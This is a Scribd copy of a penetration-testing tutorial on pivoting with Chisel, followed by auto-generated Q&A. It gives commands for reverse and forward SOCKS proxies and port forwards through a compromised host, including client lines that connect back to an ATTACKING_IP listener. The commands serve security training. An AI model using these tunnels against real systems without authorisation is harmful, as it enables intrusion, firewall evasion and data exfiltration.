0% found this document useful (0 votes)
388 views4 pages

Chisel: Proxy and Port Forwarding Guide

Chisel is a versatile tool for setting up tunnelled proxies and port forwarding through compromised systems without requiring SSH access. It operates in client and server modes and can be used for both reverse and forward SOCKS proxies, as well as remote and local port forwarding. The document provides detailed commands and configurations for using Chisel effectively in various scenarios.

Uploaded by

marco.a.torricov
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
388 views4 pages

Chisel: Proxy and Port Forwarding Guide

Chisel is a versatile tool for setting up tunnelled proxies and port forwarding through compromised systems without requiring SSH access. It operates in client and server modes and can be used for both reverse and forward SOCKS proxies, as well as remote and local port forwarding. The document provides detailed commands and configurations for using Chisel effectively in various scenarios.

Uploaded by

marco.a.torricov
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd

Chisel is an awesome tool which can be used to quickly and easily set up a tunnelled proxy or

port forward through a compromised system, regardless of whether you have SSH access or not.
It's written in Golang and can be easily compiled for any system (with static release binaries
for Linux and Windows provided). In many ways it provides the same functionality as the
standard SSH proxying / port forwarding we covered earlier; however, the fact it doesn't require
SSH access on the compromised target is a big bonus.

Before we can use chisel, we need to download appropriate binaries from the tool's Github
release page. These can then be unzipped using gunzip, and executed as normal:

You must have an appropriate copy of the chisel binary on both the attacking machine and the
compromised server. Copy the file to the remote server with your choice of file transfer method.
You could use the webserver method covered in the previous tasks, or to shake things up a bit,
you could use SCP:
scp -i KEY chisel user@target:/tmp/chisel-USERNAME

The chisel binary has two modes: client and server. You can access the help menus for either
with the command: chisel client|server --help
e.g:
We will be looking at two uses for chisel in this task (a SOCKS proxy, and port forwarding);
however, chisel is a very versatile tool which can be used in many ways not described here. You
are encouraged to read through the help pages for the tool for this reason.

Reverse SOCKS Proxy:


Let's start by looking at setting up a reverse SOCKS proxy with chisel. This connects back from
a compromised server to a listener waiting on our attacking machine.

On our own attacking box we would use a command that looks something like this:
./chisel server -p LISTEN_PORT --reverse &

This sets up a listener on your chosen LISTEN_PORT.

On the compromised host, we would use the following command:


./chisel client ATTACKING_IP:LISTEN_PORT R:socks &

This command connects back to the waiting listener on our attacking box, completing the proxy.
As before, we are using the ampersand symbol (&) to background the processes.

Notice that, despite connecting back to port 1337 successfully, the actual proxy has been opened
on [Link]:1080. As such, we will be using port 1080 when sending data through the proxy.

Note the use of R:socks in this command. "R" is prefixed to remotes (arguments that determine
what is being forwarded or proxied -- in this case setting up a proxy) when connecting to a chisel
server that has been started in reverse mode. It essentially tells the chisel client that the server
anticipates the proxy or port forward to be made at the client side (e.g. starting a proxy on the
compromised target running the client, rather than on the attacking machine running the server).
Once again, reading the chisel help pages for more information is recommended.
Forward SOCKS Proxy:
Forward proxies are rarer than reverse proxies for the same reason as reverse shells are more
common than bind shells; generally speaking, egress firewalls (handling outbound traffic) are
less stringent than ingress firewalls (which handle inbound connections). That said, it's still well
worth learning how to set up a forward proxy with chisel.

In many ways the syntax for this is simply reversed from a reverse proxy.

First, on the compromised host we would use:


./chisel server -p LISTEN_PORT --socks5

On our own attacking box we would then use:


./chisel client TARGET_IP:LISTEN_PORT PROXY_PORT:socks

In this command, PROXY_PORT is the port that will be opened for the proxy.

For example, ./chisel client [Link]:8080 1337:socks would connect to a chisel


server running on port 8080 of [Link]. A SOCKS proxy would be opened on port 1337 of
our attacking machine.

Proxychains Reminder:
When sending data through either of these proxies, we would need to set the port in our
proxychains configuration. As Chisel uses a SOCKS5 proxy, we will also need to change the
start of the line from socks4 to socks5:
[ProxyList]
# add proxy here ...
# meanwhile
# defaults set to "tor"
socks5 [Link] 1080

Note: The above configuration is for a reverse SOCKS proxy -- as mentioned previously, the
proxy opens on port 1080 rather than the specified listening port (1337). If you use proxychains
with a forward proxy then the port should be set to whichever port you opened (1337 in the
above example).

Now that we've seen how to use chisel to create a SOCKS proxy, let's take a look at using it to
create a port forward with chisel.

Remote Port Forward:


A remote port forward is when we connect back from a compromised target to create the
forward.

For a remote port forward, on our attacking machine we use the exact same command as before:
./chisel server -p LISTEN_PORT --reverse &
Once again this sets up a chisel listener for the compromised host to connect back to.
The command to connect back is slightly different this time, however:
./chisel client ATTACKING_IP:LISTEN_PORT
R:LOCAL_PORT:TARGET_IP:TARGET_PORT &

You may recognise this as being very similar to the SSH reverse port forward method, where we
specify the local port to open, the target IP, and the target port, separated by colons. Note the
distinction between the LISTEN_PORT and the LOCAL_PORT. Here the LISTEN_PORT is the port
that we started the chisel server on, and the LOCAL_PORT is the port we wish to open on our own
attacking machine to link with the desired target port.

To use an old example, let's assume that our own IP is [Link], the compromised server's IP
is [Link], and our target is port 22 on [Link]. The syntax for forwarding [Link]:22
back to port 2222 on our attacking machine would be as follows:
./chisel client [Link]:1337 R:2222:[Link]:22 &

Connecting back to our attacking machine, functioning as a chisel server started with:
./chisel server -p 1337 --reverse &

This would allow us to access [Link]:22 (via SSH) by navigating to [Link]:2222.

Local Port Forward:


As with SSH, a local port forward is where we connect from our own attacking machine to a
chisel server listening on a compromised target.

On the compromised target we set up a chisel server:


./chisel server -p LISTEN_PORT

We now connect to this from our attacking machine like so:


./chisel client LISTEN_IP:LISTEN_PORT LOCAL_PORT:TARGET_IP:TARGET_PORT

For example, to connect to [Link]:8000 (the compromised host running a chisel server),
forwarding our local port 2222 to [Link]:22 (our intended target), we could use:
./chisel client [Link]:8000 2222:[Link]:22

Common questions

Powered by AI

The reverse SOCKS proxy in Chisel establishes a connection from a compromised server back to a listener on the attacker's machine, with the proxy ultimately operating on 127.0.0.1:1080 on the attacker's device . This is done to navigate egress firewall rules, which are typically less restrictive, allowing outbound traffic . Conversely, the forward SOCKS proxy is initiated by starting the chisel server on the compromised host, opening the proxy directly on the attacker's machine at a chosen PROXY_PORT. This mode is less common due to more stringent ingress firewall rules that typically block inbound connections .

Using a tool like Chisel can introduce significant security risks to a network as it facilitates bypassing firewall restrictions and network segmentation defenses by establishing unauthorized tunnels and proxies . Such capabilities might be exploited for lateral movement within a network, data exfiltration, or command and control operations by adversaries . It can undermine network monitoring and intrusion detection systems by obfuscating traffic patterns that usually trigger alerts when using conventional direct connection methods .

In penetration testing, Chisel is valuable for evading detection and accessing network segments that are otherwise isolated, acting as a conduit for data channels without SSH dependencies . It allows testers to establish reverse connections which can overcome rigid firewall rules, facilitating reconnaissance and exploitation . However, its reliance on compromised host cooperation for server-side setup can be a limitation in environments with strong endpoint security mechanisms or where deploying binaries is restricted . Tools like Chisel demand intrinsic trust and control over both sides of the connection, which may not always be possible in strict security environments .

Chisel operates in two main modes: client and server. The server mode listens for incoming connections, while the client mode establishes connections to a server. In setting up tunnels, the tool can be configured for reverse SOCKS proxying by establishing a connection from the compromised machine back to the attacker's system, facilitating data flow through a listener port . Alternatively, it can function in forward proxy configurations, where the proxy is initiated at the compromised host, directing traffic outwards to the attacker's network .

The syntax for setting up a forward SOCKS proxy with Chisel involves starting the server on the compromised host using ./chisel server -p LISTEN_PORT --socks5, then connecting a client from the attacker's machine using: ./chisel client TARGET_IP:LISTEN_PORT PROXY_PORT:socks . For reverse SOCKS proxy, the server is started on the attacker's machine with ./chisel server -p LISTEN_PORT --reverse & and then the connecting client on the compromised host uses: ./chisel client ATTACKING_IP:LISTEN_PORT R:socks & . The key difference lies in the direction of the initiation of the server and client roles between the host and the attacker’s machine.

Chisel enhances the flexibility of network tool deployment by offering cross-platform compatibility through statically compiled binaries for both Linux and Windows . Unlike native platform tools tied to specific environments or dependencies, Chisel can be effectively utilized wherever Golang binaries are supported, cutting across typical OS barriers . Its simplicity in setup and operation circumvents the complexities of configuring SSH for similar tasks, making it accessible for users without extensive configuration expertise while supporting diverse network features like proxies and tunnels .

Chisel provides significant benefits over traditional SSH methods by not requiring SSH access to the compromised system, making it versatile for situations where standard SSH setups are infeasible . It is easily deployable across systems due to its static binaries for multiple operating systems without needing SSH configuration . Moreover, Chisel offers a simplified command structure for complex tunnel setups, reducing configuration overhead typically associated with SSH proxy chains and port forwardings .

In a scenario where an attacker wants to access a service running on port 22 of a target within a compromised network, they could start a chisel server on their machine using: ./chisel server -p 1337 --reverse & . From the compromised machine, they execute: ./chisel client ATTACKING_IP:1337 R:2222:TARGET_IP:22 &. This command sets port 2222 of the attacker's machine as a conduit to access the target’s port 22 . This setup mimics an SSH reverse port forward, allowing SSH access to the remote target through a local interface at 127.0.0.1:2222 .

Configuring the correct proxy port in proxychains when using Chisel is crucial for directing network traffic properly through the established proxy tunnel. For reverse SOCKS proxies, the port should be set to 1080, as this is the default where the proxy opens despite the listener port specified . For forward proxies, the proxychains configuration should set the port to the PROXY_PORT defined in the chisel client command, as this is where the proxy will be operational . This ensures that all outgoing traffic is routed through the intended SOCKS5 proxy setup, aligning with Chisel's operations .

To set up a local port forward using Chisel, first, the chisel server must be started on the compromised target with the command: ./chisel server -p LISTEN_PORT . Next, from the attacking machine, a client connects to this setup using: ./chisel client LISTEN_IP:LISTEN_PORT LOCAL_PORT:TARGET_IP:TARGET_PORT. This connects the client's local port (LOCAL_PORT) to the target IP and port on the network through the compromised host .

You might also like